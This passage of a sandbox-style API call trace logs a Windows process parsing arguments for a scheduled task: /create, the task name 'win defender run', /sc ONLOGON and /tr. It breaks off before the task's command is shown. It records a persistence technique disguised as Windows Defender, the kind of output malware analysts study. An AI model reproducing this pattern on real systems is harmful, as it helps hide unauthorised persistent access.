GetThreadLocale () returned 0x409 [0153.319] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.320] lstrlenW (lpString="k") returned 1 [0153.320] GetThreadLocale () returned 0x409 [0153.320] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.320] lstrlenW (lpString="du") returned 2 [0153.320] GetThreadLocale () returned 0x409 [0153.320] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.320] lstrlenW (lpString="ri") returned 2 [0153.320] GetThreadLocale () returned 0x409 [0153.320] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.320] lstrlenW (lpString="z") returned 1 [0153.320] GetThreadLocale () returned 0x409 [0153.320] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.320] lstrlenW (lpString="f") returned 1 [0153.320] GetThreadLocale () returned 0x409 [0153.320] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.320] lstrlenW (lpString="v1") returned 2 [0153.320] GetThreadLocale () returned 0x409 [0153.320] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.320] lstrlenW (lpString="xml") returned 3 [0153.320] GetThreadLocale () returned 0x409 [0153.320] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.320] lstrlenW (lpString="ec") returned 2 [0153.320] GetThreadLocale () returned 0x409 [0153.320] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.320] lstrlenW (lpString="rl") returned 2 [0153.320] GetThreadLocale () returned 0x409 [0153.320] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.321] lstrlenW (lpString="delay") returned 5 [0153.321] GetThreadLocale () returned 0x409 [0153.321] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.321] lstrlenW (lpString="np") returned 2 [0153.321] GetThreadLocale () returned 0x409 [0153.321] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.321] lstrlenW (lpString="hresult") returned 7 [0153.321] RtlRestoreLastWin32Error () returned 0x0 [0153.321] RtlRestoreLastWin32Error () returned 0x0 [0153.321] lstrlenW (lpString="/create") returned 7 [0153.321] lstrlenW (lpString="-/") returned 2 [0153.321] StrChrIW (lpStart="-/", wMatch=0x463002f) returned="/" [0153.321] lstrlenW (lpString="create") returned 6 [0153.321] lstrlenW (lpString="create") returned 6 [0153.321] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.321] lstrlenW (lpString="create") returned 6 [0153.321] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.321] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|create|") returned 8 [0153.321] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|create|") returned 8 [0153.321] lstrlenW (lpString="|create|") returned 8 [0153.321] lstrlenW (lpString="|create|") returned 8 [0153.321] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0153.321] RtlRestoreLastWin32Error () returned 0x0 [0153.321] RtlRestoreLastWin32Error () returned 0x0 [0153.321] RtlRestoreLastWin32Error () returned 0x0 [0153.321] lstrlenW (lpString="/tn") returned 3 [0153.322] lstrlenW (lpString="-/") returned 2 [0153.322] StrChrIW (lpStart="-/", wMatch=0x463002f) returned="/" [0153.322] lstrlenW (lpString="create") returned 6 [0153.322] lstrlenW (lpString="create") returned 6 [0153.322] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.322] lstrlenW (lpString="tn") returned 2 [0153.322] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.322] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|create|") returned 8 [0153.322] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tn|") returned 4 [0153.322] lstrlenW (lpString="|create|") returned 8 [0153.322] lstrlenW (lpString="|tn|") returned 4 [0153.322] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0153.322] RtlRestoreLastWin32Error () returned 0x490 [0153.322] lstrlenW (lpString="?") returned 1 [0153.322] lstrlenW (lpString="?") returned 1 [0153.322] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.322] lstrlenW (lpString="tn") returned 2 [0153.322] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.322] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|?|") returned 3 [0153.322] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tn|") returned 4 [0153.322] lstrlenW (lpString="|?|") returned 3 [0153.322] lstrlenW (lpString="|tn|") returned 4 [0153.322] RtlRestoreLastWin32Error () returned 0x490 [0153.322] lstrlenW (lpString="s") returned 1 [0153.323] lstrlenW (lpString="s") returned 1 [0153.323] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.323] lstrlenW (lpString="tn") returned 2 [0153.323] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.323] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|s|") returned 3 [0153.323] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tn|") returned 4 [0153.323] lstrlenW (lpString="|s|") returned 3 [0153.323] lstrlenW (lpString="|tn|") returned 4 [0153.323] RtlRestoreLastWin32Error () returned 0x490 [0153.323] lstrlenW (lpString="u") returned 1 [0153.323] lstrlenW (lpString="u") returned 1 [0153.323] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.323] lstrlenW (lpString="tn") returned 2 [0153.323] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.323] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|u|") returned 3 [0153.323] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tn|") returned 4 [0153.323] lstrlenW (lpString="|u|") returned 3 [0153.323] lstrlenW (lpString="|tn|") returned 4 [0153.323] RtlRestoreLastWin32Error () returned 0x490 [0153.323] lstrlenW (lpString="p") returned 1 [0153.323] lstrlenW (lpString="p") returned 1 [0153.323] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.323] lstrlenW (lpString="tn") returned 2 [0153.324] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.324] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|p|") returned 3 [0153.324] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tn|") returned 4 [0153.324] lstrlenW (lpString="|p|") returned 3 [0153.324] lstrlenW (lpString="|tn|") returned 4 [0153.324] RtlRestoreLastWin32Error () returned 0x490 [0153.324] lstrlenW (lpString="ru") returned 2 [0153.324] lstrlenW (lpString="ru") returned 2 [0153.324] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.324] lstrlenW (lpString="tn") returned 2 [0153.324] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.324] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|ru|") returned 4 [0153.324] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tn|") returned 4 [0153.324] lstrlenW (lpString="|ru|") returned 4 [0153.324] lstrlenW (lpString="|tn|") returned 4 [0153.324] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0153.324] RtlRestoreLastWin32Error () returned 0x490 [0153.324] lstrlenW (lpString="rp") returned 2 [0153.324] lstrlenW (lpString="rp") returned 2 [0153.324] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.324] lstrlenW (lpString="tn") returned 2 [0153.324] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.324] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rp|") returned 4 [0153.324] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tn|") returned 4 [0153.325] lstrlenW (lpString="|rp|") returned 4 [0153.325] lstrlenW (lpString="|tn|") returned 4 [0153.325] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0153.325] RtlRestoreLastWin32Error () returned 0x490 [0153.325] lstrlenW (lpString="sc") returned 2 [0153.325] lstrlenW (lpString="sc") returned 2 [0153.325] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.325] lstrlenW (lpString="tn") returned 2 [0153.325] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.325] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|sc|") returned 4 [0153.325] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tn|") returned 4 [0153.325] lstrlenW (lpString="|sc|") returned 4 [0153.325] lstrlenW (lpString="|tn|") returned 4 [0153.325] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0153.325] RtlRestoreLastWin32Error () returned 0x490 [0153.325] lstrlenW (lpString="mo") returned 2 [0153.325] lstrlenW (lpString="mo") returned 2 [0153.325] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.325] lstrlenW (lpString="tn") returned 2 [0153.325] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.325] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|mo|") returned 4 [0153.325] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tn|") returned 4 [0153.325] lstrlenW (lpString="|mo|") returned 4 [0153.325] lstrlenW (lpString="|tn|") returned 4 [0153.326] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0153.326] RtlRestoreLastWin32Error () returned 0x490 [0153.326] lstrlenW (lpString="d") returned 1 [0153.326] lstrlenW (lpString="d") returned 1 [0153.326] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.326] lstrlenW (lpString="tn") returned 2 [0153.326] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.326] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|d|") returned 3 [0153.326] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tn|") returned 4 [0153.326] lstrlenW (lpString="|d|") returned 3 [0153.326] lstrlenW (lpString="|tn|") returned 4 [0153.326] RtlRestoreLastWin32Error () returned 0x490 [0153.326] lstrlenW (lpString="m") returned 1 [0153.326] lstrlenW (lpString="m") returned 1 [0153.326] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.326] lstrlenW (lpString="tn") returned 2 [0153.326] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.326] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|m|") returned 3 [0153.326] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tn|") returned 4 [0153.326] lstrlenW (lpString="|m|") returned 3 [0153.326] lstrlenW (lpString="|tn|") returned 4 [0153.326] RtlRestoreLastWin32Error () returned 0x490 [0153.326] lstrlenW (lpString="i") returned 1 [0153.326] lstrlenW (lpString="i") returned 1 [0153.326] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.327] lstrlenW (lpString="tn") returned 2 [0153.327] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.327] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|i|") returned 3 [0153.327] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tn|") returned 4 [0153.327] lstrlenW (lpString="|i|") returned 3 [0153.327] lstrlenW (lpString="|tn|") returned 4 [0153.327] RtlRestoreLastWin32Error () returned 0x490 [0153.327] lstrlenW (lpString="tn") returned 2 [0153.327] lstrlenW (lpString="tn") returned 2 [0153.327] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.327] lstrlenW (lpString="tn") returned 2 [0153.327] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.327] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tn|") returned 4 [0153.327] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tn|") returned 4 [0153.327] lstrlenW (lpString="|tn|") returned 4 [0153.327] lstrlenW (lpString="|tn|") returned 4 [0153.327] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0153.327] RtlRestoreLastWin32Error () returned 0x0 [0153.327] RtlRestoreLastWin32Error () returned 0x0 [0153.327] lstrlenW (lpString="win defender run") returned 16 [0153.327] lstrlenW (lpString="-/") returned 2 [0153.327] StrChrIW (lpStart="-/", wMatch=0x4630077) returned 0x0 [0153.327] RtlRestoreLastWin32Error () returned 0x490 [0153.327] RtlRestoreLastWin32Error () returned 0x490 [0153.328] RtlRestoreLastWin32Error () returned 0x0 [0153.328] lstrlenW (lpString="win defender run") returned 16 [0153.328] StrChrIW (lpStart="win defender run", wMatch=0x3a) returned 0x0 [0153.328] RtlRestoreLastWin32Error () returned 0x490 [0153.328] RtlRestoreLastWin32Error () returned 0x0 [0153.328] lstrlenW (lpString="win defender run") returned 16 [0153.328] RtlRestoreLastWin32Error () returned 0x0 [0153.329] RtlRestoreLastWin32Error () returned 0x0 [0153.329] lstrlenW (lpString="/sc") returned 3 [0153.329] lstrlenW (lpString="-/") returned 2 [0153.329] StrChrIW (lpStart="-/", wMatch=0x463002f) returned="/" [0153.329] lstrlenW (lpString="create") returned 6 [0153.329] lstrlenW (lpString="create") returned 6 [0153.329] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.329] lstrlenW (lpString="sc") returned 2 [0153.329] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.329] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|create|") returned 8 [0153.329] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|sc|") returned 4 [0153.329] lstrlenW (lpString="|create|") returned 8 [0153.329] lstrlenW (lpString="|sc|") returned 4 [0153.329] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0153.329] RtlRestoreLastWin32Error () returned 0x490 [0153.329] lstrlenW (lpString="?") returned 1 [0153.329] lstrlenW (lpString="?") returned 1 [0153.329] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.329] lstrlenW (lpString="sc") returned 2 [0153.329] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.329] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|?|") returned 3 [0153.329] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|sc|") returned 4 [0153.329] lstrlenW (lpString="|?|") returned 3 [0153.330] lstrlenW (lpString="|sc|") returned 4 [0153.330] RtlRestoreLastWin32Error () returned 0x490 [0153.330] lstrlenW (lpString="s") returned 1 [0153.330] lstrlenW (lpString="s") returned 1 [0153.330] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.330] lstrlenW (lpString="sc") returned 2 [0153.330] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.330] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|s|") returned 3 [0153.330] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|sc|") returned 4 [0153.330] lstrlenW (lpString="|s|") returned 3 [0153.330] lstrlenW (lpString="|sc|") returned 4 [0153.330] RtlRestoreLastWin32Error () returned 0x490 [0153.330] lstrlenW (lpString="u") returned 1 [0153.330] lstrlenW (lpString="u") returned 1 [0153.330] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.330] lstrlenW (lpString="sc") returned 2 [0153.330] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.330] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|u|") returned 3 [0153.330] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|sc|") returned 4 [0153.330] lstrlenW (lpString="|u|") returned 3 [0153.330] lstrlenW (lpString="|sc|") returned 4 [0153.330] RtlRestoreLastWin32Error () returned 0x490 [0153.330] lstrlenW (lpString="p") returned 1 [0153.330] lstrlenW (lpString="p") returned 1 [0153.331] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.331] lstrlenW (lpString="sc") returned 2 [0153.331] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.331] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|p|") returned 3 [0153.331] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|sc|") returned 4 [0153.331] lstrlenW (lpString="|p|") returned 3 [0153.331] lstrlenW (lpString="|sc|") returned 4 [0153.331] RtlRestoreLastWin32Error () returned 0x490 [0153.331] lstrlenW (lpString="ru") returned 2 [0153.331] lstrlenW (lpString="ru") returned 2 [0153.331] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.331] lstrlenW (lpString="sc") returned 2 [0153.331] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.331] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|ru|") returned 4 [0153.331] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|sc|") returned 4 [0153.331] lstrlenW (lpString="|ru|") returned 4 [0153.331] lstrlenW (lpString="|sc|") returned 4 [0153.331] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0153.331] RtlRestoreLastWin32Error () returned 0x490 [0153.331] lstrlenW (lpString="rp") returned 2 [0153.331] lstrlenW (lpString="rp") returned 2 [0153.331] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.331] lstrlenW (lpString="sc") returned 2 [0153.331] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.332] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rp|") returned 4 [0153.332] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|sc|") returned 4 [0153.332] lstrlenW (lpString="|rp|") returned 4 [0153.332] lstrlenW (lpString="|sc|") returned 4 [0153.332] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0153.332] RtlRestoreLastWin32Error () returned 0x490 [0153.332] lstrlenW (lpString="sc") returned 2 [0153.332] lstrlenW (lpString="sc") returned 2 [0153.332] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.332] lstrlenW (lpString="sc") returned 2 [0153.332] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.332] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|sc|") returned 4 [0153.332] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|sc|") returned 4 [0153.332] lstrlenW (lpString="|sc|") returned 4 [0153.332] lstrlenW (lpString="|sc|") returned 4 [0153.332] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0153.332] RtlRestoreLastWin32Error () returned 0x0 [0153.332] RtlRestoreLastWin32Error () returned 0x0 [0153.332] lstrlenW (lpString="ONLOGON") returned 7 [0153.332] lstrlenW (lpString="-/") returned 2 [0153.332] StrChrIW (lpStart="-/", wMatch=0x463004f) returned 0x0 [0153.332] RtlRestoreLastWin32Error () returned 0x490 [0153.332] RtlRestoreLastWin32Error () returned 0x490 [0153.332] RtlRestoreLastWin32Error () returned 0x0 [0153.332] lstrlenW (lpString="ONLOGON") returned 7 [0153.332] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0153.332] RtlRestoreLastWin32Error () returned 0x490 [0153.332] RtlRestoreLastWin32Error () returned 0x0 [0153.333] GetProcessHeap () returned 0x42a0000 [0153.333] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x10) returned 0x42aab58 [0153.333] _memicmp (_Buf1=0x42aab58, _Buf2=0x232708, _Size=0x7) returned 0 [0153.333] lstrlenW (lpString="ONLOGON") returned 7 [0153.333] GetProcessHeap () returned 0x42a0000 [0153.333] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x10) returned 0x42aac48 [0153.333] lstrlenW (lpString="ONLOGON") returned 7 [0153.333] lstrlenW (lpString=" \x09") returned 2 [0153.333] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0153.333] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0153.333] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0153.333] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0153.333] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0153.333] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0153.333] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0153.333] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0153.333] GetLastError () returned 0x0 [0153.333] lstrlenW (lpString="ONLOGON") returned 7 [0153.333] lstrlenW (lpString="ONLOGON") returned 7 [0153.333] RtlRestoreLastWin32Error () returned 0x0 [0153.333] RtlRestoreLastWin32Error () returned 0x0 [0153.333] lstrlenW (lpString="/tr") returned 3 [0153.333] lstrlenW (lpString="-/") returned 2 [0153.333] StrChrIW (lpStart="-/", wMatch=0x463002f) returned="/" [0153.333] lstrlenW (lpString="create") returned 6 [0153.333] lstrlenW (lpString="create") returned 6 [0153.333] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.333] lstrlenW (lpString="tr") returned 2 [0153.333] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.333] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|create|") returned 8 [0153.334] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tr|") returned 4 [0153.334] lstrlenW (lpString="|create|") returned 8 [0153.334] lstrlenW (lpString="|tr|") returned 4 [0153.334] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0153.334] RtlRestoreLastWin32Error () returned 0x490 [0153.334] lstrlenW (lpString="?") returned 1 [0153.334] lstrlenW (lpString="?") returned 1 [0153.334] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.334] lstrlenW (lpString="tr") returned 2 [0153.334] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.334] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|?|") returned 3 [0153.334] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tr|") returned 4 [0153.334] lstrlenW (lpString="|?|") returned 3 [0153.334] lstrlenW (lpString="|tr|") returned 4 [0153.334] RtlRestoreLastWin32Error () returned 0x490 [0153.334] lstrlenW (lpString="s") returned 1 [0153.334] lstrlenW (lpString="s") returned 1 [0153.334] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.334] lstrlenW (lpString="tr") returned 2 [0153.334] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.334] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|s|") returned 3 [0153.334] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tr|") returned 4 [0153.334] lstrlenW (lpString="|s|") returned 3 [0153.334] lstrlenW (lpString="|tr|") returned 4 [0153.334] RtlRestoreLastWin32Error () returned 0x490 [0153.334] lstrlenW (lpString="u") returned 1 [0153.334] lstrlenW (lpString="u") returned 1 [0153.334] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.335] lstrlenW (lpString="tr") returned 2 [0153.335] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.335] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|u|") returned 3 [0153.335] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tr|") returned 4 [0153.335] lstrlenW (lpString="|u|") returned 3 [0153.335] lstrlenW (lpString="|tr|") returned 4 [0153.335] RtlRestoreLastWin32Error () returned 0x490 [0153.335] lstrlenW (lpString="p") returned 1 [0153.335] lstrlenW (lpString="p") returned 1 [0153.335] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.335] lstrlenW (lpString="tr") returned 2 [0153.335] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.335] _vsnwprintf (in: _Buffer=0x42a95f8, 